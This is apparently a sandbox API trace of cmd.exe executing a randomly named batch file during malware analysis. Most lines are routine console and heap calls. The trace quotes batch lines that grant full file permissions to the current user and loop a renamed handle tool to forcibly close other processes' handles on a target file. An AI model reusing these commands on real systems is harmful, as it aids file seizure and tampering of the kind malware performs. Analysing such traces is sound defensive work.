_Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x28f074 | out: _Buffer=" FN=\"Genko_2.jtp\" ") returned 18 [0128.776] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.776] GetFileType (hFile=0x7) returned 0x2 [0128.776] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.776] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f034 | out: lpMode=0x28f034) returned 1 [0128.776] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.776] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x12, lpNumberOfCharsWritten=0x28f060, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28f060*=0x12) returned 1 [0128.776] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28f094 | out: _Buffer="\r\n") returned 2 [0128.776] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.776] GetFileType (hFile=0x7) returned 0x2 [0128.777] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.777] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f054 | out: lpMode=0x28f054) returned 1 [0128.777] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.777] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28f080, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28f080*=0x2) returned 1 [0128.778] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0128.779] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0128.779] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0128.779] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0128.779] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0128.779] _wcsicmp (_String1="set", _String2="CD") returned 16 [0128.779] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0128.779] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0128.779] _wcsicmp (_String1="set", _String2="REN") returned 1 [0128.779] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0128.779] _wcsicmp (_String1="set", _String2="SET") returned 0 [0128.779] GetConsoleTitleW (in: lpConsoleTitle=0x28ec04, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0128.779] wcsncmp (_String1="FN", _String2="/", _MaxCount=0x4) returned 23 [0128.779] SetEnvironmentVariableW (lpName="FN", lpValue="\"Genko_2.jtp\"") returned 1 [0128.779] GetProcessHeap () returned 0x570000 [0128.779] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58a120 | out: hHeap=0x570000) returned 1 [0128.779] GetEnvironmentStringsW () returned 0x588ac0* [0128.780] GetProcessHeap () returned 0x570000 [0128.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb7e) returned 0x589648 [0128.780] FreeEnvironmentStringsW (penv=0x588ac0) returned 1 [0128.780] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.780] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0128.780] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.780] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0128.780] _get_osfhandle (_FileHandle=0) returned 0x3 [0128.780] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0128.781] SetConsoleInputExeNameW () returned 0x1 [0128.781] GetConsoleOutputCP () returned 0x1b5 [0128.781] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0128.781] SetThreadUILanguage (LangId=0x0) returned 0x409 [0128.781] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x28f03c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0128.782] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0128.782] _get_osfhandle (_FileHandle=3) returned 0x78 [0128.782] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0128.782] GetProcessHeap () returned 0x570000 [0128.782] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5861b8 | out: hHeap=0x570000) returned 1 [0128.782] GetProcessHeap () returned 0x570000 [0128.782] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586180 | out: hHeap=0x570000) returned 1 [0128.782] GetProcessHeap () returned 0x570000 [0128.782] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5855e8 | out: hHeap=0x570000) returned 1 [0128.782] GetProcessHeap () returned 0x570000 [0128.782] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x570db8 | out: hHeap=0x570000) returned 1 [0128.782] GetProcessHeap () returned 0x570000 [0128.782] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x570000) returned 1 [0128.782] GetProcessHeap () returned 0x570000 [0128.782] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5877f0 | out: hHeap=0x570000) returned 1 [0128.782] GetProcessHeap () returned 0x570000 [0128.782] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x580fe8 | out: hHeap=0x570000) returned 1 [0128.782] _get_osfhandle (_FileHandle=3) returned 0x78 [0128.782] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0128.782] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x28f020, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x28f020*=0xa3, lpOverlapped=0x0) returned 1 [0128.782] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0128.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cd /d \"%~dp0\"\r\n\nUSERNAME%:F /C\r\n") returned 15 [0128.783] _get_osfhandle (_FileHandle=3) returned 0x78 [0128.783] GetFileType (hFile=0x78) returned 0x1 [0128.783] _get_osfhandle (_FileHandle=3) returned 0x78 [0128.783] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0128.783] GetProcessHeap () returned 0x570000 [0128.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400a) returned 0x594ab0 [0128.783] GetProcessHeap () returned 0x570000 [0128.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x70) returned 0x571240 [0128.783] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x208, lpBuffer=0x28e7b0, lpFilePart=0x28e7a8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x28e7a8*="Bt3xnwko.bat") returned 0x32 [0128.783] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x28e4c4 | out: lpFindFileData=0x28e4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x586180 [0128.783] FindClose (in: hFindFile=0x586180 | out: hFindFile=0x586180) returned 1 [0128.783] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x28e4c4 | out: lpFindFileData=0x28e4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x586180 [0128.783] FindClose (in: hFindFile=0x586180 | out: hFindFile=0x586180) returned 1 [0128.784] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0128.784] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x28e4c4 | out: lpFindFileData=0x28e4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x586180 [0128.784] FindClose (in: hFindFile=0x586180 | out: hFindFile=0x586180) returned 1 [0128.784] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFindFileData=0x28e4c4 | out: lpFindFileData=0x28e4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe3eef60, ftCreationTime.dwHighDateTime=0x1d5d06a, ftLastAccessTime.dwLowDateTime=0xbe3eef60, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xbe3eef60, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bt3xnwko.bat", cAlternateFileName="")) returned 0x586180 [0128.784] FindClose (in: hFindFile=0x586180 | out: hFindFile=0x586180) returned 1 [0128.784] GetProcessHeap () returned 0x570000 [0128.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x56) returned 0x586180 [0128.784] GetProcessHeap () returned 0x570000 [0128.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x594ab0 | out: hHeap=0x570000) returned 1 [0128.786] _tell (_FileHandle=3) returned 78 [0128.786] _close (_FileHandle=3) returned 0 [0128.786] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28edf4 | out: _Buffer="\r\n") returned 2 [0128.786] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.786] GetFileType (hFile=0x7) returned 0x2 [0128.786] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.786] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28edb4 | out: lpMode=0x28edb4) returned 1 [0128.787] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.787] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28ede0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28ede0*=0x2) returned 1 [0128.788] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0128.788] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0128.788] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x28edf0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0128.788] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x28edf0 | out: _Buffer=">") returned 1 [0128.788] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.788] GetFileType (hFile=0x7) returned 0x2 [0128.789] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.789] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28edb8 | out: lpMode=0x28edb8) returned 1 [0128.789] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.789] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x28ede4, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x28ede4*=0x26) returned 1 [0128.789] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.789] GetFileType (hFile=0x7) returned 0x2 [0128.790] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.790] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f03c | out: lpMode=0x28f03c) returned 1 [0128.790] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.790] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x570dc0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28f068, lpReserved=0x0 | out: lpBuffer=0x570dc0*, lpNumberOfCharsWritten=0x28f068*=0x2) returned 1 [0128.790] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x28f074 | out: _Buffer=" /d \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\\" ") returned 45 [0128.790] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.790] GetFileType (hFile=0x7) returned 0x2 [0128.791] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.791] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f034 | out: lpMode=0x28f034) returned 1 [0128.791] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.791] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2d, lpNumberOfCharsWritten=0x28f060, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28f060*=0x2d) returned 1 [0128.793] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28f094 | out: _Buffer="\r\n") returned 2 [0128.793] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.793] GetFileType (hFile=0x7) returned 0x2 [0128.793] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.793] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f054 | out: lpMode=0x28f054) returned 1 [0128.793] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.793] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28f080, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28f080*=0x2) returned 1 [0128.795] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0128.795] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0128.795] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0128.795] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0128.795] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0128.795] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0128.795] GetConsoleTitleW (in: lpConsoleTitle=0x28ec04, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0128.796] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0128.796] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0128.796] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x28e9c0, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x28e9b8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x28e9b8*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0128.796] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x28e75c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0128.796] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x104, lpBuffer=0x28e75c, lpFilePart=0x28e758 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x28e758*=0x0) returned 0x26 [0128.796] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0128.797] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x28e4d8 | out: lpFindFileData=0x28e4d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x5864c0 [0128.797] FindClose (in: hFindFile=0x5864c0 | out: hFindFile=0x5864c0) returned 1 [0128.797] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x28e4d8 | out: lpFindFileData=0x28e4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x5864c0 [0128.797] FindClose (in: hFindFile=0x5864c0 | out: hFindFile=0x5864c0) returned 1 [0128.797] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0128.797] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x28e4d8 | out: lpFindFileData=0x28e4d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x5864c0 [0128.797] FindClose (in: hFindFile=0x5864c0 | out: hFindFile=0x5864c0) returned 1 [0128.797] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0128.797] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0128.797] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0128.797] GetProcessHeap () returned 0x570000 [0128.797] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589648 | out: hHeap=0x570000) returned 1 [0128.797] GetEnvironmentStringsW () returned 0x588ac0* [0128.797] GetProcessHeap () returned 0x570000 [0128.797] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb7e) returned 0x589648 [0128.797] FreeEnvironmentStringsW (penv=0x588ac0) returned 1 [0128.797] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0128.797] GetProcessHeap () returned 0x570000 [0128.797] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586460 | out: hHeap=0x570000) returned 1 [0128.798] GetProcessHeap () returned 0x570000 [0128.798] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586400 | out: hHeap=0x570000) returned 1 [0128.798] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.798] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0128.798] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.798] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0128.798] _get_osfhandle (_FileHandle=0) returned 0x3 [0128.798] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0128.798] SetConsoleInputExeNameW () returned 0x1 [0128.799] GetConsoleOutputCP () returned 0x1b5 [0128.799] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0128.799] SetThreadUILanguage (LangId=0x0) returned 0x409 [0128.799] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x28f03c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0128.800] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0128.800] _get_osfhandle (_FileHandle=3) returned 0x78 [0128.800] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0128.800] GetProcessHeap () returned 0x570000 [0128.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586390 | out: hHeap=0x570000) returned 1 [0128.800] GetProcessHeap () returned 0x570000 [0128.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586320 | out: hHeap=0x570000) returned 1 [0128.800] GetProcessHeap () returned 0x570000 [0128.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5862b0 | out: hHeap=0x570000) returned 1 [0128.800] GetProcessHeap () returned 0x570000 [0128.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586240 | out: hHeap=0x570000) returned 1 [0128.800] GetProcessHeap () returned 0x570000 [0128.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x570db8 | out: hHeap=0x570000) returned 1 [0128.800] GetProcessHeap () returned 0x570000 [0128.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5861e0 | out: hHeap=0x570000) returned 1 [0128.800] GetProcessHeap () returned 0x570000 [0128.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586180 | out: hHeap=0x570000) returned 1 [0128.800] GetProcessHeap () returned 0x570000 [0128.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x570000) returned 1 [0128.800] _get_osfhandle (_FileHandle=3) returned 0x78 [0128.800] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0128.800] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x28f020, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x28f020*=0x94, lpOverlapped=0x0) returned 1 [0128.800] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=148, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="FOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n") returned 148 [0128.801] _get_osfhandle (_FileHandle=3) returned 0x78 [0128.801] GetFileType (hFile=0x78) returned 0x1 [0128.801] _get_osfhandle (_FileHandle=3) returned 0x78 [0128.801] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0128.801] GetProcessHeap () returned 0x570000 [0128.801] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400a) returned 0x594ab0 [0128.801] GetProcessHeap () returned 0x570000 [0128.801] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4008) returned 0x598ac8 [0128.801] GetProcessHeap () returned 0x570000 [0128.801] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xe) returned 0x570db8 [0128.801] GetEnvironmentVariableW (in: lpName="FN", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="\"Genko_2.jtp\"") returned 0xd [0128.801] GetProcessHeap () returned 0x570000 [0128.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x570db8 | out: hHeap=0x570000) returned 1 [0128.801] GetProcessHeap () returned 0x570000 [0128.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x598ac8 | out: hHeap=0x570000) returned 1 [0128.801] GetProcessHeap () returned 0x570000 [0128.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x594ab0 | out: hHeap=0x570000) returned 1 [0128.808] _tell (_FileHandle=3) returned 226 [0128.808] _close (_FileHandle=3) returned 0 [0128.808] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28edf4 | out: _Buffer="\r\n") returned 2 [0128.808] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.808] GetFileType (hFile=0x7) returned 0x2 [0128.808] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.808] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28edb4 | out: lpMode=0x28edb4) returned 1 [0128.808] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.808] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28ede0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28ede0*=0x2) returned 1 [0128.810] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0128.810] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0128.810] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x28edf0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0128.811] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x28edf0 | out: _Buffer=">") returned 1 [0128.811] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.811] GetFileType (hFile=0x7) returned 0x2 [0128.811] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.811] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28edb8 | out: lpMode=0x28edb8) returned 1 [0128.811] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.811] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, 